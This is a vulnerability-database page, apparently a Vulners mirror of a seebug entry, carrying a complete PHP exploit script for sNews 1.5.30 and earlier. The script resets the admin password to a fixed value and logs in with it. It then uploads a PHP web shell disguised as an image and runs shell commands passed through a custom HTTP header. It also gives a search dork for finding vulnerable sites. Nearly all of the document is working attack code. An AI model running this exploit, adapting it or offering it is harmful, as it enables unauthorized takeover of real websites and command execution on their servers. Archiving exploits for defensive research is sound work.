Lucene search
K

sNews <= 1.5.30 Remote Reset Admin Pass / Command Exec Exploit

🗓️ 13 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

sNews <= 1.5.30 Remote Reset Admin Pass / Command Exec Exploit by rgod. Unauthorized access / reset admin pass / cmd exec exploit. Usage: php exploit.php host path your_ip cmd [options] host: target server (ip/hostname) path: path to sNews your_ip: your ip address, this is needed for upload. cmd: a shell comand Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a prox

Code

                                                &lt;?php
print_r('
---------------------------------------------------------------------------
sNews&nbsp;&lt;=&nbsp;1.5.30&nbsp;unauthorized&nbsp;access&nbsp;/&nbsp;reset&nbsp;admin&nbsp;pass&nbsp;/&nbsp;cmd&nbsp;exec&nbsp;exploit
by&nbsp;rgod
dork:&nbsp;&quot;Barbecued&nbsp;by&nbsp;sNews&quot;
mail:&nbsp;retrog&nbsp;at&nbsp;alice&nbsp;dot&nbsp;it
site:&nbsp;http://retrogod.altervista.org
---------------------------------------------------------------------------
');
/*
works&nbsp;regardless&nbsp;of&nbsp;php.ini&nbsp;settings
*/
if&nbsp;($argc&lt;5)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;print_r('
---------------------------------------------------------------------------
Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;host&nbsp;path&nbsp;your_ip&nbsp;cmd&nbsp;[options]
host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip/hostname)
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path&nbsp;to&nbsp;sNews
your_ip:&nbsp;&nbsp;&nbsp;your&nbsp;ip&nbsp;address,&nbsp;this&nbsp;is&nbsp;needed&nbsp;for&nbsp;upload
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this&nbsp;is&nbsp;automatically&nbsp;set&nbsp;to&nbsp;your&nbsp;proxy&nbsp;ip,&nbsp;if&nbsp;you&nbsp;use&nbsp;one
cmd:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;shell&nbsp;comand
Options:
&nbsp;-p[port]:&nbsp;&nbsp;&nbsp;&nbsp;specify&nbsp;a&nbsp;port&nbsp;other&nbsp;than&nbsp;80
&nbsp;-P[ip:port]:&nbsp;specify&nbsp;a&nbsp;proxy
Example:
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/snews/&nbsp;ls&nbsp;-la&nbsp;-P1.1.1.1:80
php&nbsp;'.$argv[0].'&nbsp;localhost&nbsp;/&nbsp;cat&nbsp;snews.php&nbsp;-p81
---------------------------------------------------------------------------
');
&nbsp;&nbsp;&nbsp;&nbsp;die;
}

error_reporting(&quot;E_ALL&quot;);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function&nbsp;quick_dump($string)
{
&nbsp;&nbsp;$result='';$exa='';$cont=0;
&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=strlen($string)-1;&nbsp;$i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;if&nbsp;((ord($string[$i])&nbsp;&lt;=&nbsp;32&nbsp;)&nbsp;|&nbsp;(ord($string[$i])&nbsp;&gt;&nbsp;126&nbsp;))
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;.&quot;;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;&quot;.$string[$i];}
&nbsp;&nbsp;&nbsp;if&nbsp;(strlen(dechex(ord($string[$i])))==2)
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;0&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;$cont++;if&nbsp;($cont==15)&nbsp;{$cont=0;&nbsp;$result.=&quot;\r\n&quot;;&nbsp;$exa.=&quot;\r\n&quot;;}
&nbsp;&nbsp;}
&nbsp;return&nbsp;$exa.&quot;\r\n&quot;.$result;
}
$proxy_regex&nbsp;=&nbsp;'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function&nbsp;sendpacketii($packet)
{
&nbsp;&nbsp;global&nbsp;$proxy,&nbsp;$host,&nbsp;$port,&nbsp;$html,&nbsp;$proxy_regex;
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;'.$host.':'.$port;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
	$c&nbsp;=&nbsp;preg_match($proxy_regex,$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$c)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Not&nbsp;a&nbsp;valid&nbsp;proxy...';die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$parts=explode(':',$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Connecting&nbsp;to&nbsp;&quot;.$parts[0].&quot;:&quot;.$parts[1].&quot;&nbsp;proxy...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen($parts[0],$parts[1]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;proxy...';die;
	}
&nbsp;&nbsp;}
&nbsp;&nbsp;fputs($ock,$packet);
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((!feof($ock))&nbsp;or&nbsp;(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fread($ock,1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$port=80;
$proxy=&quot;&quot;;
$cmd=&quot;&quot;;
for&nbsp;($i=4;&nbsp;$i&lt;$argc;&nbsp;$i++){
$temp=$argv[$i][0].$argv[$i][1];
if&nbsp;(($temp&lt;&gt;&quot;-p&quot;)&nbsp;and&nbsp;($temp&lt;&gt;&quot;-P&quot;))&nbsp;{$cmd.=&quot;&nbsp;&quot;.$argv[$i];}
if&nbsp;($temp==&quot;-p&quot;)
{
&nbsp;&nbsp;$port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-P&quot;)
{
&nbsp;&nbsp;$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
&nbsp;&nbsp;$tmp=explode(&quot;:&quot;,$proxy);
&nbsp;&nbsp;$your_ip=$tmp[0];
}
}
if&nbsp;(($path[0]&lt;&gt;'/')&nbsp;or&nbsp;($path[strlen($path)-1]&lt;&gt;'/'))&nbsp;{echo&nbsp;'Error...&nbsp;check&nbsp;the&nbsp;path!';&nbsp;die;}
if&nbsp;($proxy=='')&nbsp;{$p=$path;}&nbsp;else&nbsp;{$p='http://'.$host.':'.$port.$path;}

/*
software&nbsp;site:&nbsp;http://www.solucija.com/home/snews/

you&nbsp;can&nbsp;have&nbsp;unauthorized&nbsp;access&nbsp;to&nbsp;admin&nbsp;password&nbsp;reset&nbsp;feature&nbsp;and&nbsp;other&nbsp;ones,
after&nbsp;that&nbsp;you&nbsp;can&nbsp;upload&nbsp;a&nbsp;php&nbsp;file&nbsp;and&nbsp;launch&nbsp;commands

see&nbsp;snews.php&nbsp;near&nbsp;lines&nbsp;392-395:
...
function&nbsp;center()&nbsp;{
	if&nbsp;(isset($_GET['category']))&nbsp;{$id&nbsp;=&nbsp;$action&nbsp;=&nbsp;$_GET['category'];}
	if&nbsp;(isset($_GET['articleid']))&nbsp;{$articleid&nbsp;=&nbsp;$_GET['articleid'];}
	if&nbsp;(isset($_POST['submit_text']))&nbsp;{processing();&nbsp;$processed&nbsp;=&nbsp;true;}
...

now&nbsp;look&nbsp;at&nbsp;processing()&nbsp;function&nbsp;near&nbsp;line&nbsp;1300:

...
function&nbsp;processing()&nbsp;{
	if&nbsp;($_SESSION[db('website').'Logged_In']&nbsp;!=&nbsp;'True')&nbsp;{notification(l('error_not_logged_in'),'','login/');}
...

and&nbsp;to&nbsp;notification()&nbsp;one&nbsp;near&nbsp;lines&nbsp;675-680:

...
function&nbsp;notification($error,&nbsp;$errNote,&nbsp;$link)&nbsp;{
	$errNote&nbsp;=&nbsp;!empty($errNote)&nbsp;?&nbsp;'&lt;br&nbsp;/&gt;'.$errNote&nbsp;:&nbsp;'';
	echo&nbsp;'&lt;h2'.(!empty($error)&nbsp;?&nbsp;'&nbsp;class=&quot;error&quot;&gt;'.l('admin_error').'&lt;/h2&gt;&lt;p&gt;'.$error.$errNote.'&lt;/p&gt;'&nbsp;:&nbsp;'&gt;'.l('operation_completed').'&lt;/h2&gt;');
	echo&nbsp;(!empty($link))&nbsp;?&nbsp;'&lt;p&gt;&lt;a&nbsp;href=&quot;'.db('website').$link.'&quot;&nbsp;title=&quot;'.l('back').'&quot;&gt;'.l('back').'&lt;/a&gt;&lt;/p&gt;'&nbsp;:&nbsp;'';
}
...

funny!&nbsp;there&nbsp;is&nbsp;no&nbsp;exit()&nbsp;or&nbsp;die()...

this&nbsp;one&nbsp;reset&nbsp;the&nbsp;admin&nbsp;password&nbsp;and&nbsp;try&nbsp;to&nbsp;upload&nbsp;a&nbsp;php&nbsp;file
*/

$data='-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;submit_text&quot;;

1
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;task&quot;;

changeup
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;submit_pass&quot;;

1
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;uname&quot;;

suntzu
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;pass1&quot;;

suntzu
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;pass2&quot;;

suntzu
-----------------------------7d61bcd1f033e--
';
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

$data&nbsp;=&quot;uname=suntzu&quot;;
$data.=&quot;&amp;pass=suntzu&quot;;
$data.=&quot;&amp;Loginform=True&quot;;
$data.=&quot;&amp;submit=Login&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
if&nbsp;(!eregi(&quot;Admin&lt;/legend&gt;&quot;,$html)){die(&quot;exploit&nbsp;failed...&quot;);}
$cookie=&quot;&quot;;
$temp=explode(&quot;Set-Cookie:&nbsp;&quot;,$html);
for&nbsp;($i=1;&nbsp;$i&lt;count($temp);$i++)
{
$temp2=explode(&quot;&nbsp;&quot;,$temp[$i]);
$cookie.=trim(str_replace(&quot;\n&quot;,&quot;&quot;,str_replace(&quot;\r&quot;,&quot;&quot;,$temp2[0])));
}
//echo&nbsp;&quot;cookie&nbsp;-&gt;&nbsp;&quot;.$cookie.&quot;\n&quot;;

$data='-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;upload_dir&quot;;

.
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;imagefile&quot;;&nbsp;filename=&quot;config.php&quot;
Content-Type:&nbsp;image/jpeg;

&lt;?php&nbsp;error_reporting(0);&nbsp;set_time_limit(0);&nbsp;echo&nbsp;&quot;my_delim&quot;;&nbsp;passthru($_SERVER[&quot;HTTP_SUNTZU&quot;]);&nbsp;echo&nbsp;&quot;my_delim&quot;;?&gt;
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;ip&quot;;

'.$your_ip.'
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;time&quot;;

1
-----------------------------7d61bcd1f033e
Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;upload&quot;;

Upload
-----------------------------7d61bcd1f033e--
';
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;files/&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------7d61bcd1f033e\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Cookie:&nbsp;&quot;.$cookie.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;config.php&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;SUNTZU:&nbsp;&quot;.$cmd.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
sendpacketii($packet);
if&nbsp;(eregi(&quot;my_delim&quot;,$html))
{
$temp=explode(&quot;my_delim&quot;,$html);
echo&nbsp;$temp[1];
}
else
{
&nbsp;&nbsp;echo&nbsp;&quot;exploit&nbsp;succeeded...&nbsp;but,&nbsp;for&nbsp;some&nbsp;reason,&nbsp;failed&nbsp;to&nbsp;upload&nbsp;shell,&nbsp;try&nbsp;to&nbsp;login&nbsp;manually&nbsp;with&nbsp;user&nbsp;'suntzu'&nbsp;&amp;&nbsp;password&nbsp;'suntzu'&quot;;
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation